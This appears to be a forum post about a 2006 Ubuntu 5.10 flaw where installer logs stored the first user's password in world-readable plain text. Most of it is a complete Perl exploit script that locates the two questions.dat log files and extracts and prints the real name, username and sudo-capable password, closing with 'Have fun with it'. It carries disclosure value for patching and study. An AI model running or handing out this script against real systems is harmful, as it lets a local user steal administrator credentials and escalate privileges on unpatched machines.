On 12th March Ubuntu 510 has security vulnerablity, that Ubuntu 5.10
failed to clean passwords in the installer log files. Since these files were
world-readable, any local user could see the password of the first
user account, which has full sudo privileges by default.
If you have NOT update the security of Ubuntu 5.10, (not using 2.67ubuntu20 (base-config) and 1:4.0.3-37ubuntu8 (passwd) program then used the follow exploit code to demonstrate this security vulnerability. This program will results of showing the userid and password. I hope will this will change your sys admin mind to update Ubuntu5.10
#!/usr/bin/perl -w
use warnings;
use strict;
##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link:
https://launchpad.net/distros/ubuntu/+sourc...adow/+bug/34606##############################################################################
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";
# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";
print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
print "Yes\nNow checking if readable...";
if ( -r $file1 )
{
getinfo($file1);
}
else
{
if ( -r $file2 ) {
getinfo($file2);
}
else {
print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
exit(-2);
}
}
}
else
{
print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
exit(-1);
}
sub getinfo {
my $fn = shift;
print "Yes\nHere come the details...\n\n";
my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
chomp($realname);
chomp($user);
chomp($pass);
print "Real Name: $realname\n";
print "Username: $user\n";
print "Password: $pass\n";
}
Have fun with it.